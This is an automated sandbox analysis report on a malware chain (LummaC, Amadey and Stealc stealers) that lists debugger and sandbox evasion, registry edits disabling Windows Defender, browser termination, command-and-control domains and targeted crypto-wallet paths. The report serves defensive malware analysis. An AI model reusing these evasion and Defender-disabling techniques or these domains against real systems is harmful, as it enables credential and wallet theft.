Source: file.exe, file.exe, 00000000.00000003.1774901475.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002196611.0000000000866000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1778514687.0000000000866000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001093000.00000004.00000020.00020000.00000000.sdmp, b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001064000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784386837.0000000001037000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.00000000010A5000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001A.00000002.2750483187.00000295D68A0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: firefox.exe, 0000001A.00000002.2751799520.00000295E04B7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2747391068.00000206DF414000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: bd73c9fe1b.exe, 00000008.00000003.2675092988.0000000000B1D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWi
Source: firefox.exe, 0000001A.00000002.2750483187.00000295D68A9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH5
Source: file.exe, 00000000.00000003.2002255387.0000000000845000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmp, S39605Y99PQJP70DBWYAE5A.exe, 00000005.00000002.2114688874.0000000000B03000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, 00000006.00000002.2136733909.0000000000333000.00000040.00000001.01000000.0000000C.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580333178.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2782085296.0000000000F0F000.00000040.00000001.01000000.0000000E.sdmp, b28f5af0b9.exe, 0000001D.00000002.2771147748.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2851415223.0000000000ABE000.00000040.00000001.01000000.00000018.sdmp, 5EQND7K5L8HE276L.exe, 00000020.00000002.2792896974.0000000000F93000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: num.exe, 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareo
Source: firefox.exe, 0000001C.00000002.2743871919.00000206DEFCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW j
Source: firefox.exe, 0000001A.00000002.2750483187.00000295D68D6000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001C.00000002.2748240954.00000206DF500000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000002F.00000002.2978590179.000001B29D4F3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: b28f5af0b9.exe, 0000000A.00000002.2581347390.0000000001093000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWhn
Source: firefox.exe, 0000001C.00000002.2743871919.00000206DEFCA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWF,

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Code function: 4_2_010268B3 rdtsc

4_2_010268B3

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Code function: 4_2_00E9B7C6 LdrInitializeThunk,

4_2_00E9B7C6

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: b28f5af0b9.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b28f5af0b9.exe PID: 7132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1516, type: MEMORYSTR

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: scriptyprefej.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: navygenerayk.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: founpiuer.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: necklacedmny.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: thumbystriw.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: fadehairucw.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: crisiwarny.store
Source: file.exe, 00000000.00000003.1688403516.0000000004740000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: presticitpo.store

Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe "C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe "C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe "C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1002787001\num.exe "C:\Users\user\AppData\Local\Temp\1002787001\num.exe"	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: f27afcd405.exe, 0000000C.00000000.2586598836.0000000000682000.00000002.00000001.01000000.00000010.sdmp, f27afcd405.exe, 00000022.00000002.2860202297.0000000000682000.00000002.00000001.01000000.00000010.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: firefox.exe, 0000002F.00000002.2959098354.00000001063FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: S39605Y99PQJP70DBWYAE5A.exe, S39605Y99PQJP70DBWYAE5A.exe, 00000005.00000002.2114688874.0000000000B03000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000006.00000002.2136733909.0000000000333000.00000040.00000001.01000000.0000000C.sdmp	Binary or memory string: \Program Manager
Source: firefox.exe, 0000001A.00000002.2744937051.000000C465C7B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi
Source: CMI46CXL3718GGL9UBA.exe, CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2205213896.000000000106D000.00000040.00000001.01000000.00000006.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2852744939.0000000000AFD000.00000040.00000001.01000000.00000018.sdmp	Binary or memory string: hProgram Manager

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002787001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1002787001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

Source: file.exe, 00000000.00000003.1778457016.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002255387.000000000083B000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2002094324.00000000008CB000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2784608754.0000000001075000.00000004.00000020.00020000.00000000.sdmp, bd73c9fe1b.exe, 0000000B.00000003.2778421995.0000000001075000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 5.2.S39605Y99PQJP70DBWYAE5A.exe.920000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 32.2.5EQND7K5L8HE276L.exe.db0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 6.2.skotes.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000020.00000003.2745547028.0000000004D70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2298754950.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.2136627208.0000000000151000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2073578821.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000002.2792577506.0000000000DB1000.00000040.00000001.01000000.00000019.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2096375636.0000000004B50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2114089520.0000000000921000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: Process Memory Space: f27afcd405.exe PID: 1352, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: f27afcd405.exe PID: 5180, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 6996, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd73c9fe1b.exe PID: 1056, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: bd73c9fe1b.exe PID: 3992, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 30.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.2.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 37.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 10.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.b28f5af0b9.exe.2c0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 30.0.num.exe.210000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000000.2811806473.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2770625069.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000000.2811751180.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2682454468.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000003.2678993762.0000000004F40000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2581347390.000000000101E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.2772881272.000000000126B000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2539631182.0000000004CF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2662848375.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000002.2681835070.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2580073228.00000000002C1000.00000040.00000001.01000000.0000000F.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2830777733.000000000022E000.00000002.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2830712627.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: 00000025.00000002.2832464579.0000000000B67000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001E.00000000.2662760119.0000000000211000.00000080.00000001.01000000.00000017.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: b28f5af0b9.exe PID: 2148, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: b28f5af0b9.exe PID: 7132, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 5688, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 1516, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1002787001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectrumpihQkl
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\ElectronCash\wallets
Source: file.exe	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.jsonD9
Source: file.exe	String found in binary or memory: ExodusWeb3
Source: file.exe, 00000000.00000003.1716326309.00000000008B9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/EthereumvbvcC2
Source: file.exe	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
